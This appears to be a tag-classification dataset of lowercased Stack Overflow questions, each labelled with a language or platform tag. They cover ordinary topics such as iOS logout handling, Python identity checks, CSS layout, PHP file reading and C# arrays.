how to handle logout scenario in ios   i am having facebook login for my app  and also log out scenario in a setting form of my app. when i click on logout button  i am doing following steps and there are working fine. 1) clearing the active session  2) closing active session 3) deleting the user token stored in nsuserdefault.    now i have to launch facebook login form again  after log out. this is working fine.  coming to problem now  before launching facebook login form  do i need to remove all the view controllers that i visited previously    i am not using navigation controller in my app  and all presenting and dismissing the view controllers are handled manually. while going from one view controller to other i am dismissing few view controller if i don t need them  few i am not dismissing as i need them when i go back to previous view controller. when user logs out  i will launch facebook login form. but what about view controller that is still in memory  do i need to take care of this scenario as well  if i had to handle it on my own  then how to handle it      i am launching facebook login view controller from log out button as below.   <pre><code>- (void)actionsheet:(uiactionsheet *)actionsheet clickedbuttonatindex:(nsinteger)buttonindex { if (buttonindex==0) {     [fbsession.activesession closeandcleartokeninformation];     [fbsession.activesession close];     [fbsession setactivesession:nil];     [[nsuserdefaults standarduserdefaults] removeobjectforkey:@ userid ];     [[nsuserdefaults standarduserdefaults] synchronize];    uistoryboard *sb = [uistoryboard storyboardwithname:@ main  bundle:nil];      fbloginviewcontroller *frm_athenticate = (fbloginviewcontroller *) [sb instantiateviewcontrollerwithidentifier:@ autenticate ];      [self dismissviewcontrolleranimated:yes completion: nil];     myappdelegate * appsdelegate =(myappdelegate *)[[uiapplication sharedapplication] delegate];   [appsdelegate.window setrootviewcontroller:nil];    [appsdelegate.window setrootviewcontroller:frm_athenticate];       } } </code></pre>,ios
how does python evaluate  is  expressions   erratic behavior of  is  expressions in python.   <pre><code>&gt;&gt;&gt; 258 -1 is 257 false </code></pre>   and   <pre><code>&gt;&gt;&gt; 258 -1 == 257 true </code></pre>  <ol> <li> how is python evaluating  is  expression   and why does it show it as false   eventhough it is true   </li> <li> why is it happening only to certain set of numbers     <blockquote>   <blockquote>     <blockquote>        2 - 1 is 1            true      </blockquote>   </blockquote> </blockquote></li> </ol>   works perfectly fine.,python
horizontal  two-level navigation menu in css  i am building a two-level navigation menu for a website. both levels will always be visible.    my problem: i would like to   <ul> <li>have 1st and 2nd level menus horizontal  occupying one line each</li> <li>left-align the sub-level menu with the currently active 1st-level menu item</li> <li>not have the sub-level menu push the remaining 1st level menu items to the right</li> </ul>   childlike ascii art illustration:   <pre><code>aaa bbbbbb cc ddd [1st level  b selected]     aa bbb ccccc  [2nd level  options of b visible] </code></pre>   <br> css:   <pre><code>.nav  .nav ul {list-style-type:none; margin:0; padding:0; float:left;} .navl ul li ul li {} .nav {margin-bottom:-1px;margin-right:-1px;}  .nav a {float:left; line-height:16px; padding:4px 0; border:1px solid #fff; margin-bottom:-1px;}  .nav ul {position:relative; clear:left;}   .nav ul li {float:left; clear:left;} .nav a {position:relative;}  .sub-li a {margin-right:0;} </code></pre>   html:   <pre><code>&lt;ul class= nav &gt;     &lt;li&gt;&lt;a href= #url &gt;home&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;ul class= nav &gt;     &lt;li class= sub-li &gt;&lt;a class= sub-a  href= #url &gt;library&lt;/a&gt;         &lt;ul&gt;             &lt;li&gt;&lt;a href= #url &gt;opening hours&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= #url &gt;librarians&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= #url &gt;geeks&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;     &lt;/li&gt; &lt;/ul&gt; &lt;ul class= nav &gt;     &lt;li&gt;&lt;a href= #url &gt;about us&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   in this example  i cannot even get the 2nd level menu horizontal. but i can already see that long titles in the 2nd level menu push the last  about us  1st level menu item out to the right  which looks ugly.    any help is greatly appreciated!,css
nsdateformatter is giving one year ahead date for 12/30/2012 and for 12/31/2012  i am new to the field. this question may be silly.     <code>nsdateformatter</code> is giving one year ahead date for 12/30/2012 and for 12/31/2012. for 12/30/2013 and 12/31/2013 it will also push the year out to 2014.    my code is:   <pre><code> -(nsstring*)getdateortime:(nsdate *)indate formatter:(nsstring *)lformat  {  nsdateformatter *formatter = [[nsdateformatter alloc] init];      [formatter setdateformat:lformat];//@ mmm-dd-yyyy ];      nsstring *currentdate = [formatter stringfromdate:indate];// here it is giving wrong    date      // it is happening for only mentioned specific dates only      [formatter release];       return currentdate;  } </code></pre>   how can i get it to give me the right date,objective-c
how to make a uibutton auto blink   hi i am trying to make a uibutton to blink automatically. i am aware that there is a function  shows touch on highlight  which blink when user touch but i need my button to blink automatically. is there any way to do it  thanks!,objective-c
builda static library for ios for sales  i would like to know if i build a static library in ios  can i distribute it (not for free) for other applications that then will be uploaded to the appstore  is there any apple restriction about this kind of distribution  note that i am not talking aobut complete framework  but only a static library with header files to be linked together with the target source code.    thanks for help,ios
how to show &lt;html&gt; in textarea  in textarea  i load text from database and then show in textarea. i have a problem  textarea not show <code>&amp;lt;</code> and <code>&amp;gt;</code>. it has been changed to &lt; and > .   <pre><code>&lt;textarea&gt;&amp;gt;html&amp;gt;&lt;/textarea&gt; </code></pre>   in textarea   change to  . i want to show <code>&amp;lt;html&amp;gt;</code>   how to make it,html
how to calculate number of days until a date in future   something does not add up.    i need to know how many days are there until dec 21  2012   <pre><code>nsdateformatter *df= [[nsdateformatter alloc] init];  nsdate *today = [[nsdate alloc] initwithtimeintervalsincenow:0]; nsdate *dec21 = [[nsdate alloc] init];   dec21 = [df datefromstring:@ 2012-12-21 ];  nscalendar *gregorian = [[nscalendar alloc]                          initwithcalendaridentifier:nsgregoriancalendar];   nsuinteger unitflags = nsmonthcalendarunit | nsdaycalendarunit;  nsdatecomponents *components = [gregorian components:unitflags                                             fromdate:today                                               todate:dec21 options:0]; nsinteger days = [components day]; nsinteger months = [components month];  nsstring *result = [[nsstring alloc] initwithformat:@ about %d months and %d days left   months  days]; </code></pre>   this code suggests there is still 129 months remaining.     what am i missing,objective-c
writing own android apps for personal use   i am interested in coding up some interactive apps for personal use on my samsung galaxy tab running the android os. ideally i would like to write a program in c++/haskell/python on my desktop  test them out with a simulator in an ide such as eclipse  and then transfer the compiled executable onto my tablet to be used like any normal android app.     can this be done  all sites i have come across so far are about writing android apps on your pc and then publishing them to google play  after meeting some quality criteria as mentioned <a href= http://developer.android.com/distribute/tools/launch-checklist.html  rel= nofollow noreferrer >here</a>     the closest question on so i could find is <a href= https://stackoverflow.com/questions/7613588/how-can-i-build-my-own-personal-android-app-store >this</a> one but it does not seem to answer the question.     if so  can someone tell me the workflow for doing this  in particular to which folder must i transfer my executable to     note: i will be coding these apps on ubuntu 14.04 in the languages mentioned above.,android
need edit command in android edit text in danish language  am doing a danish project  so when i long press in the edit text box i need the  edit    copy    paste  etc commands in danish. in my phone there is no danish language can be selected.    any help is appreciated.    thanks in advance.... jibysthomas,android
program to find greatest divisors returns 0  i just recently figured i d try to learn how to code. i m at the basics and found some exercises to do online  but i ve sat at this for ~40 mins and can t figure it out. so even though this might seem basic to most of you i ll ask for some help :)    so here s the task:    the specified integers are in the range [m  n]. write a program to find the number with the greatest divisors.    input / output :   <pre><code>initial data |   result  10 40        |        36 </code></pre>   code :   <pre><code>#include &lt;cstdlib&gt; #include &lt;iostream&gt; #include &lt;fstream&gt;  using namespace std;  int main(int argc  char *argv[]) {     int m  n  s  sd = 0  ats;     double a = 0;     ifstream fd( duomenys.txt );     fd &gt;&gt; m &gt;&gt; n;     for(int i = m; i&lt;=n; i++){         s = 0;         for(int j = 1; j&lt;=i; ++j){             a = 0;             a = i % j;             if(a = 0) s= s + 1;          }     if(s &gt; sd) {         i = ats;         s = sd;          }     }     cout &lt;&lt; ats;         system( pause );     return exit_success; } </code></pre>   now i m only using <code>cout &lt;&lt; ats</code> to test it for the moment  but if i run it it gets a 0 as an answer.,c++
compile pyme for python 2.6  has anyone been able to compile pyme (<a href= http://sourceforge.net/projects/pyme/  rel= nofollow noreferrer >http://sourceforge.net/projects/pyme/</a>)    i installed mingw32 and i can compile other modules like pycrypto without issues  but pyme is proving to be a real pain in the you know what :-),python
i want to read line by line from a log file to a php file  so there is this log file that have entries saved in as line by line. now  i want to read those and display them line by line in a php file. so far  i am able to read the file  but not able to display line by line. my php code is:   <pre><code>$file= /var/log/siawa/dashboard/iot.log ;  $lastpos = 0; while (true) {     usleep(300000); //0.3 s     clearstatcache(false  $file);     $len = filesize($file);     if ($len &lt; $lastpos) {         //file deleted or reset         $lastpos = $len;     }     elseif ($len &gt; $lastpos) {         $f = fopen($file   r );         if ($f === false)             die();         fseek($f  $lastpos);         while (!feof($f)) {             $buffer = fgets($f  4096);             echo $buffer.  \n ;             flush();         }         $lastpos = ftell($f);         fclose($f);     } } </code></pre>   these are my entries in the log file:   <pre><code>2016-08-17 13:21:28 | info: data on date: 2016-08-17 12:26:15 already  added 2016-08-17 13:48:46 | info: data on date: 2016-08-17 12:26:15 already  added </code></pre>,php
what is the problem about my login script <pre><code>    session_start();      include(  db.php  );      $hesap = mysql_fetch_array( mysql_query(  select * from m_hesap where id = 1  ) );      $_session[ control ] = false;      if( $_session[ control ] != true ) {          if( @$_post[ user ] == $hesap[1] &amp;&amp; @$_post[ pass ] == $hesap[2] ) {              $_session[ control ] = true;          }      }      if( $_session[ control ] == true ) {          header(  location: kategoriler.php  );      } </code></pre>   everythin is ok if i wrote @$_post[ user ] ==  admin   and @$_post[ pass ] ==  pass .    but when i wrote @$_post[ user ] == $hesap[1]  and @$_post[ pass ] == $hesap[2] as in the code above i can t login the system. the informationt that i take with $_post variables are true but i can t login the system,php
css margin issue  i have an issue with my css where if i use <code>margin: 0</code> instead of <code>margin-top: 0</code>  for <code>header p</code>  the <code>header { margin: 0 0 20px; }</code> will be as good as not there. isit supposed to be like that  if i see what happens in firebug  its because the <code>margin-bottom</code> of <code>header</code> <em>collapsed</em> into the next sibling  the <code>section</code>.     <img src= https://farm5.static.flickr.com/4060/4652790638_ffe153855d_b_d.jpg  alt= alt text >    html    <pre><code>&lt;header&gt;     &lt;h1&gt;todo list&lt;/h1&gt;     &lt;p&gt;html5 offline capable web application&lt;/p&gt; &lt;/header&gt; </code></pre>   css   <pre><code>header { font: 24px/1em notethis; color: #666; margin: 0 0 20px; } header h1 { font: 60px/1.4em hetilica; margin: 0; } header p { margin-top: 0; }  </code></pre>,css
i have a shell command in hdfs and that is working in shell script.i want to convert that command so that it can be executed in python script  shell script command is : hadoop fs -ls /user/hive/warehouse/mashery_db.db/agg_per_mapi_stats_five_minutes/ | sort | awk   { if (index($8   .hive ) == 0 &amp;&amp; $6 &lt;=    delete_up_to_epoch_date    &amp;&amp; $7 &lt;=    delete_up_to_epoch_hour:00   ) print $8 }           + str(date_from).zfill(2) +  *    <hr>   basically i want in to be executed in python script.,python
c# system.nullreferenceexception with jagged array  i have:   <pre><code>namespace cardgame {     class dealer     {         static void main(string[] args)         {             string[] suits = {  clubs    spades    hearts    diamonds  };             string[] specials = {  jack    queen    king    ace  };             string[][] hand = new string[5][];              console.writeline( please enter the number of players: );              int playercount = int32.parse(console.readline());              for (int currentplayer = 0; currentplayer &lt; playercount; currentplayer++)             {                 random rand = new random();                 for (int cardnumber = 0; cardnumber &lt; 5; cardnumber++)                 {                     string card;                      int mode = rand.next(0  2);                     if (mode == 1) // numeric card...                     {                         card = rand.next(2  10).tostring();                     }                     else // face card or ace...                     {                         card = specials[rand.next(0  4)];                     }                     hand[currentplayer][cardnumber] = card +=   of   + suits[rand.next(0  3)];                     console.writeline(card +=   of   + suits[rand.next(0  3)]);                 }             }             console.readline();         }     } } </code></pre>   the line:     hand[currentplayer][cardnumber] = card +=   of   + suits[rand.next(0  3)];    is throwing the error in the title. i have no clue how to fix this as i am very new to c#.    what do i need to do,c#
graphics class: how to create a margin at the top left right and bottom of the image  on image magick  we can create a margin at the top  left  right and bottom of the image using -splice option and -gravity option.    i want to create a margin at the top  left  right and bottom of the image <strong>using c# graphics class.</strong>    but i don t know how to create a margin using c# class  enable to create a margin using c# class.    so  i want to know the above mentioned.,c#
get the first 4 words of a text line c#  i have this text file which contains string lines like below.    <pre><code>iphone 4s white 16gb mc920  mc924  md237  md239  md277  md378  md866  me805 iphone 4s white 32gb mc921  md244  md279  md380  md246 iphone 4s white 64gb md260  md271  md272  md281  md382 </code></pre>   what i want to achieve is  i want to read the lines and identify the line that has a specific model number(starts with m)    for instance      if the model number is  md378 i want to read the lines and find the line that has the model number and then get the first 4 words from that line. that means i should get the below words.    iphone  4s  white 16gb    i m using the below code to read the text file     <pre><code>var filestream = new filestream(directory.getcurrentdirectory() + @ \dvdb.adb   filemode.open  fileaccess.read);         using (var streamreader = new streamreader(filestream  encoding.utf8))         {             string line;             while ((line = streamreader.readline()) != null)             {                 if (line.contains(  +model_number))                 {                     //need to perform the processing here.                 }             }         } </code></pre>   appreciate if i could know how to achieve this.     thanks.,c#
path.getfilename bug   part of my .net application needs to take an input string (representing a uri) and return only the filename (and extension if applicable).    now <code>path.getfilename</code> does this perfectly fine for most paths  with the following exception: if the input string is an http path that consists only of a domain name (e.g. example.com) and port number (e.g. 10210)  <code>getfilename</code> returns the port number.    in simple english: the input string is <code>http://example.com:10210</code>  which is a uri that links to an internet radio stream. when <code>path.getfilename</code> is called with that value  the return value is <code>10210</code>.    is this intended behavior  i can t recall any platform that separates path segments with colons. shouldn t the return value be <code>string.empty</code>     <strong>edit</strong>    it seems like the clean solution would be a mashup between <code>uri.localpath</code> and <code>system.web.virtualpathutility.getfilename</code>  but that implies re-targetting your project from a client profile to the full framework.    i think i ll just go with removing everything before (and including) the last forward-slash symbol. the separator never changes in my scenario anyway. doing that gives me <code>example.com:10210</code> as the return value  which sort of makes sense for what i m doing.,.net
c programming help - providing user with option to exit a program  i ve written a program to compute the running sum of any numbers input by a user. i need to provide the user with an option to exit the program at any stage  which i m not sure how to do.  i was looking into it and think getchar() is what i need to use but i m not sure  there seem to be a few ways to do it.     i basically want the user to be able to hit  e  on the keyboard if they want to exit the program  and it will terminate.  the comments in the code are just ideas i had so i ve left them there. help appreciated  thanks.  code:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main() {      float number;      float sum = 0;      int i = 1;       //char exit [2] = { e };      //void exit (int status);       printf ( please enter number or enter \ e\  to exit at any stage:\n );      scanf ( %f   &amp;number);         // if user inputs string e  program will terminate        /* if (number ==  e )           {           printf ( exiting the program...\n );           exit(0);           }                                       */       while (i == 1)      {         sum += number;         printf ( sum: %.2f\n   sum);         printf ( please enter number:\n );         scanf ( %f   &amp;number);          // if user inputs string e  program will terminate         /*    if (number ==  e )               {                  printf ( exiting the program...\n );                  exit(0);               }                                         */      }      return 0; } </code></pre>,c
generate a form based on object  is there any available plugin or gem which can generate a form based on some object that could be a hash or hash from yml.     basically  wanted to create an app to mange other application configurations where i am going to read existing app-config files and create some form based on it to update from ui.    suggests if there is an existing way to do it.,ruby-on-rails
simple input restriction issues  i have a program  first i need to enter the command - help  and why choose from 2 commands - exp or sum and so on. at first  help should always be entered  but i can not enter help  but i can enter exp or sum immediately  how do i make a notification so that if i enter exp or sum  the console wrote to me: enter the help command first    my code:    <pre><code>import utils.calculator;  import java.util.scanner;  public class never {      public static final string stop =  -stop ;      public static void main(string[] args) {          scanner scan = new scanner(system.in);         system.out.println( enter command: for the initial operation of the program  type  help );         string word = scan.nextline();           while (!word.equals(stop)) {               switch (word) {                  case  help : {                     system.out.println( exp - outputs the root of a number );                     system.out.println( sum - displays the sum of two numbers );                 }                 break;                 case  exp : {                     long result = calculator.exp(scan.nextint());                      system.out.println(result);                 }                 break;                 case  sum : {                     system.out.println( enter first number );                     int first = scan.nextint();                     system.out.println( enter second number );                     int second = scan.nextint();                       long result = calculator.sum(first  second);                       system.out.println(result);                  }                 break;                 default: {                     system.out.println( now exit programm );                 }              }              word = scan.nextline();           }      }  } </code></pre>,java
my table view is not showing data  i am using a tableview in my viewcontroller as iboutlet. i have implemented all the delegates methods and data source methods. but the data is not showing there...what i did wrong there...    please help...,iphone
if in the input i give any character data why this will not going to throw section <pre><code>#include &lt;iostream&gt; using namespace std;  int main() {     int x;     cin&gt;&gt;x;     cout &lt;&lt;  before try \n ;     try {         cout &lt;&lt;  inside try \n ;         if (x &lt;0)         {             throw x;             //cout &lt;&lt;  after throw (never executed) \n ;         }     }     catch (int x ) {         cout &lt;&lt;  exception caught \n ;     }     catch (char x ) {         cout &lt;&lt;  exception hjcaught \n ;     }       return 0; } </code></pre>   if in the input i give any character data why this will not going to throw section. is my code is wrong because it  works fine with the integer datatype.,c++
delete all chars when  -  found php  having strings like   <pre><code>$s1 =  elegan-71 ; $s2 =  dgansd-171 ; $s2 =  sd-1 ; </code></pre>   what would be the best way to delete all chars from  -  to end like   <pre><code>$cleans1 =  elegan ; $cleans2 =  dgansd ; $cleans2 =  sd ; </code></pre>   there is <code>substr($s1   -  4);</code>    <pre><code>substr(string $string  int $start  int[optional] $length=null); </code></pre>   but how to tell that it should remove all numbers and how to know numbers size as they are variable,php
multiple classes in 1 file only 1 class accesable  i have multiple classes in 1 file. i have to put them all in 1 file because of compay standard for the programm im writing something for. is there some way to only make 1 class in the file accesable     nobody needs to see the other classes.,c#
javascript file type returning undefined  looking for any ideas on why one specific user is failing some basic validation.  we have a file input that works for all other users  but is failing for one user who s receiving a file.type of  undefined .  simplified version of the code in question below:   <pre><code>&lt;input type= file  id= file  /&gt; &lt;input type= button  value= upload attachment  onclick= startupload()  id= uploadbtn  /&gt;    function startupload(){      var file = j$( #file )[0].files[0];      if ( file === null || file === undefined ){         // handle error     } else {          if (validfile(file)){             processfile(file);         }     } }  function validfile(file){      console.log( file.type = [  + file.type +  ] );      if(file.type !=  application/x-zip-compressed ) {         displaymessage( error: uploaded file must be a zip file.  true);     }  } </code></pre>   the file the user is attempting to upload has been uploaded by other users/testers.  and this error persists regardless of the browser for him.  anything i m missing here,javascript
python - remove values from a dict  i want to make a function called remove_short_synonyms() which is passed a dict as a parameter. the keys of the parameter dict are words and the corresponding values are lists of synonyms. the function removes all the synonyms which have less than 7 characters from each corresponding list of synonyms.    if this is the dict:   <pre><code>synonyms_dict = { beautiful  : [ pretty    lovely    handsome    dazzling    splendid    magnificent ]} </code></pre>   how can i get this as the output    <pre><code>{beautiful : [ dazzling    handsome    magnificent    splendid ]} </code></pre>,python
array manipulation in javascript  i have the following array...   <pre><code>var arr = [1 2 3 4 5 6 7 8 9]  </code></pre>   i need to convert it to the following...   <pre><code>var newarr = [     [1 4 7]      [2 5 8]      [3 6 9]  ]; </code></pre>   is this even possible,javascript
python ndiff incorrect result  i am trying to compare csv files with a master csv file and appending the master file with any changes.  when i run the program i am getting unexpected results.    python code:   <pre><code>import glob import difflib  final =  z:\\_data\\master.csv  folder =  z:\\_data\\   for file in glob.glob( folder +  *sample*.csv ):     #print file     diff = difflib.ndiff(open(final).readlines() open(file).readlines())     delta1 =   .join(x[2:] for x in diff if x.startswith( +  ))     #print delta1      if delta1 !=   :         with open(final   ab ) as new_file:             new_file.write( \n  + delta1) </code></pre>   sample1.csv   <pre><code>id tech type work_date c-40    c-33    c-32    </code></pre>   sample2.csv   <pre><code>id tech type work_date w-37 ty waterous 8-12-15 w-38 ty dresser 8-12-15 w-5 ty waterous 9-1-15 c-44 tf waterous xx p-40    </code></pre>   master.csv   <pre><code>id tech type work_date </code></pre>   when i run the program the first time the master file looks like this:   <pre><code>id tech type work_date id tech type work_date c-40    c-33    c-32    w-37 ty waterous 8-12-15 w-38 ty dresser 8-12-15 w-5 ty waterous 9-1-15 c-44 tf waterous xx p-40    </code></pre>   when i run the program repeatedly i get the following:   <pre><code>id tech type work_date id tech type work_date c-40    c-33    c-32    w-37 ty waterous 8-12-15 w-38 ty dresser 8-12-15 w-5 ty waterous 9-1-15 c-44 tf waterous xx p-40    c-32    p-40    </code></pre>   as you can see the above result has duplicate lines.    i was expecting the result to be   <pre><code>id tech type work_date c-40    c-33    c-32    w-37 ty waterous 8-12-15 w-38 ty dresser 8-12-15 w-5 ty waterous 9-1-15 c-44 tf waterous xx p-40    </code></pre>,python
asihttprequest how to recognize finished request and failed request   in my application  i have a button wich calls an asihttprequest. the request goes fine and i receive an response string. but when the request finishes  it always goes to the method: requestfinished. and i also got a requestfailed method. but even when i give a wrong link  the request finsihes and never fails.. why is this  this is my code:   <pre><code>-(void)fetchform:(id)sender {      nsurl *url=[nsurl urlwithstring:@ http://www.mydomain.nl/testget.php ];      asihttprequest *request = [[[asihttprequest alloc] initwithurl:url] autorelease];     [request setdelegate:self];     [request setdidfailselector:@selector(requestfailed:)];     [request startasynchronous];  }  -(void)requestfinished:(asihttprequest *)request {     nslog(@ request success! ); }  -(void)requestfailed:(asihttprequest *)request {     nslog(@ request failed! ); } </code></pre>   edit:    i read a little documentation on the asihttprequest website. and i came to the conclusion that i need to see for myself if there is an error code. i do this with:   <pre><code>int statuscode = [request responsestatuscode];  if (statuscode == 404) { nslog(@ statuscode 404 has occured! ); } </code></pre>,objective-c
how can i combine two instances of the multiple selector .x .y {property: value;}   i would like to combine two multiple class selectors into one.  these are:    <pre><code>.one:hover .two {propertya: valueb; etc...} .one:active .two {propertya: valueb; etc...} </code></pre>   so identical except for the pseudo-class selector of the class <code>.one</code>    in words  i want to target elements with class <code>.two</code> that are descendents of elements with class <code>.one:hover</code> and also those elements with class <code>.two</code> that are descendents of elements with class <code>.one:active</code>  because these have the same properties.    hope that makes sense.    p.s @ j08691  actually this is not an exact duplicate  as you will see through a careful reading of both.  you will also see from my comments below why.  thank you and  wernerson for your constructive replies.  if you know how to please feel free to close this as resolved. ta!,css
using python subprocess.call with crontab   i m running into a wall with regards to using subprocess.call in a python script running in a crontab. i have isolated this problem to be subprocess not able to find the 7z executable. i m running this on freebsd 10.1  but that should not make a difference. i have tried adding pythonpath=$path to crontab  i have tried adding shell=true to subprocess.call  and i have tried using /usr/loca/bin/7z rather than 7z. none of these have fixed the problem. the error that i get is the following:   <pre><code>/usr/local/bin/7z: realpath: not found /usr/local/bin/7z: dirname: not found exec: /../libexec/p7zip/7z: not found </code></pre>   here is how i m calling the script in crontab:   <pre><code>path=$path:/usr/local/bin @every_minute           $home/test.py &gt;&gt; $home/test.error 2&gt;&amp;1 </code></pre>   here is the contents of my script (test.py):   <pre><code>#!/usr/bin/env python3 # -*- coding: utf-8 -*-  import os import subprocess import tempfile  thing =  blahblahblah   errors = open( /home/myuser/error    wb )  with tempfile.temporarydirectory() as tmpdirname:     tempthing = os.path.join(tmpdirname  thing)     fh = open(tempthing   wb )     fh.write(b 123 )     fh.close()     zipname =  {}.zip .format(thing)     ziptempfile = os.path.join(tmpdirname  zipname)     zipper = subprocess.call([ 7z    a    -p{} .format( something )   -tzip    -y   ziptempfile  tempthing]  stdout=errors  stderr=subprocess.stdout) </code></pre>,python
microsoft jscript runtime error: findcontrol requires that controls have unique ids  i m programmatically adding a row to a system.web.ui.webcontrols.table inside an updatepanel.  i then add cells to the row and controls to the cells.      once the controls have been added i get microsoft jscript runtime error:     sys.webforms.pagerequestmanagerservererrorexception: multiple controls with the same id  txtvalue  were found.  findcontrol requires that controls have unique ids.     because the controls are in seperate rows  should then not get their own client ids  making them unique,asp.net
deleting line from text file php  i am trying to list all of the lines in a text file and have a delete button next to each one. when the button is pressed that line should be deleted. like below   <pre><code> line one text | delete  line two text | delete  line three text | delete </code></pre>   i think i am quite close but cannot get it to work  any ideas why  the lines and buttons display fine  but the delete button does not seem to do anything.    edit.php   <pre><code>&lt; php $textfile = file( guestbook.txt ); foreach ($textfile as $key =&gt; $val) {     $line = @$line . $val         .  &lt;input type= submit  name=$key value= delete &gt;&lt;br /&gt; ; }  $form =  &lt;form name= form  method= post  action= deleter.php &gt; $line      &lt;/form&gt; ;  echo $form;  &gt; </code></pre>   deleter.php       <pre><code>if ($delete !=    &amp;&amp; $delete &gt; !$lines || $delete ===  0 ) {     $textfile[$delete] =   ;     $fileupdate = fopen( data.txt    wb );     for ($a = 0; $a &lt; $lines; $a++) {         fwrite($fileupdate  $textfile[$a]);     }     fclose($fileupdate);     header( location:edit.php );     exit; }  foreach ($textfile as $key =&gt; $val) {     $line = @$line . $val .  &lt;a href = delete=$key&gt; delete &lt;/a&gt;&lt;br /&gt; ; } echo $line;  &gt; </code></pre>   thanks in advance!,php
"my page doesn t go further down. all the elements i put below go on existing elements  i coded the first part of my page but when i try to go further down the elements don t go below but on existing elements. the page has a huge picture all over it with some text  but i want to put other text below the picture not on it.     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.content {
   text-align: center;
   margin-top: 15%;
   color: #fff;
 }
 
 h1 {
   font-size: 80px;
   font-weight: 700;
   color: #fff;
 }
 
 .under {
   font-size: 30px;
   margin-top: 15px;
 }
 
 .button {
   margin-top: 15%;
   font-size: 25px;
 }
 
 .fa {
   font-size: 80px;
 }
 
 .button {
   padding: 20px 10px;
   background-color: orange;
   border-radius: 15px;
 }
 
 body {
   background-image: url(https://source.unsplash.com/bmnurawqdsi);
   background-position: center;
   background-repeat: no-repeat;
   background-size: cover;
 }
 
 html {
   width: 100%;
   height: 100%;
 }
 
 .body {
   position: absolute;
   top: 0;
   left: 0;
   width: 100%;
   height: 100%;
   background-color: rgba(44  48  56  0.5);
   background: rgba(44  48  56  0.5);
   color: rgba(44  48  56  0.5);
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= body &gt;
   &lt;div class= container &gt;
     &lt;div class= content &gt;
       &lt;i class= fa fa-coffee  aria-hidden= true &gt;&lt;/i&gt;
       &lt;h1&gt;you order. we deliver.&lt;/h1&gt;
       &lt;p class= under &gt;get coffee in 3 easy steps.&lt;/p&gt;
       &lt;div class= row &gt;
         &lt;div class= col-lg-4 col-md-4 col-sm-4 col-xs-0 &gt;
         &lt;/div&gt;
         &lt;div class= col-lg-4 col-md-4 col-sm-4 col-xs-12 &gt;
           &lt;p class= button &gt;order a coffee&lt;/p&gt;
         &lt;/div&gt;
         &lt;div class= col-lg-4 col-md-4 col-sm-4 col-xs-0 &gt;
         &lt;/div&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;
 &lt;div class= container &gt;
   &lt;h1&gt;how it works.&lt;/h1&gt;
   &lt;div class= row &gt;
     &lt;div class= col-lg-4 col-md4 col-sm-4 col-xs-12 &gt;
       &lt;p&gt;order any coffee from one of our many brands.&lt;/p&gt;
     &lt;/div&gt;
     &lt;div class= col-lg-4 col-md4 col-sm-4 col-xs-12 &gt;
 
     &lt;/div&gt;
     &lt;div class= col-lg-4 col-md4 col-sm-4 col-xs-12 &gt;
 
     &lt;/div&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",html
declaring variable in looped  if  statement  i m very new to c++  so apologies for messy code and/or impracticality of question. basically  i m trying to write a program that can compare a previously defined variable with a newer version  and i m going about this my saving the previous integer value as a dummy variable (tv) which i can then compare to the newer version  however this requires taking a the old variable out of the  if  statement and using it in the same function again.    i m writing this for a root macro  however think it s also a general c++ question  hence me asking here.    in short  is this possible    <pre><code>#include &lt;iostream&gt; #include &lt;string&gt;  using namespace std;  int n = 2;  void test1();  void test2(string *q int *x){     cout &lt;&lt; *q &lt;&lt; endl;     cout &lt;&lt; *x &lt;&lt; endl;      if (n==2){         int tv = *x;         n++;         test1();     }     if (n&gt;2){         cout &lt;&lt;  testvar =   &lt;&lt; tv &lt;&lt; endl;     } }  void test1(){     int var = 20;     string sar =  generic string ;     test2(&amp;sar &amp;var); }  int main(){     test1(); } </code></pre>   any comments are appreciated  and thanks in advance!,c++
using new keyword/operator in c++  what is the result of following statement    <pre><code>std::string p; new (&amp;p) std::string( new word ); </code></pre>   does it create a new heap allocation  or does it just replace the static variable   how does it differ from the following    <pre><code>p = std::string( new word ); p = new std::string( new word ); </code></pre>   edit: thanks guys. yeah it seems it s a placement new.,c++
on clicking a item in jlist of java how do i open new window or new frame  <pre><code> private void channelitemsmouseclicked(java.awt.event.mouseevent evt) {                                               // todo add your handling code here:     if(channelitems.getselectedindex()&gt;=0)     {          jpanel p1=new jpanel();         jlabel label = new jlabel( enter your username below   swingconstants.center);         p1.add(label);         add(p1);      }  } </code></pre>,java
displaying unique strings from an array  i want to get unique strings from an array and to store those strings into another array..... give logic or sample code for this ...............thanks in advance,iphone
java method restriction for different instance of same class  suppose you have user class which has two method like <code>methoda</code> and <code>methodb</code>. we create two instance of this class <code>a</code> and <code>b</code>. now i want to update my code that <code>methoda</code> should be visible to only instance <code>a</code> and <code>methodb</code> should be visible to instance <code>b</code>. i did not get how we can achieve this in java.,java
open and close mysql connection multiple time  i want to write a function for mysql connection to use it any where. there is tow way in my mind    1)in top of function open connection and execute query and close connection. in this way each query open connection and close it but have easy usage because no need to handle open and close connection in separate function and call them in top and bottom of code    2)write a function for opening connection and another function for closing it and call them in top an bottom of code. in this way one connection open and use for multiple query then close    my question is:    is there any difference to open and close the db connection multiple times or it doesn t matter  which way have a better performance(in second way connection may open some minutes)     i use some programming language like java  php and ... .but my question is general,mysql
include files on nested references  i have a library project a that uses some sql scripts  thus those scripts are defined as content.  this works fine if the executing project references directly this library project: the scripts are copied in the output compilation directory of the calling project. but if add a reference from project b to project a  and then a reference from the executing project to project b the scripts are copied in the bin of the project b but not on the executing project  where i need them. how i can manage to pass the files from the project a to the executing project,.net
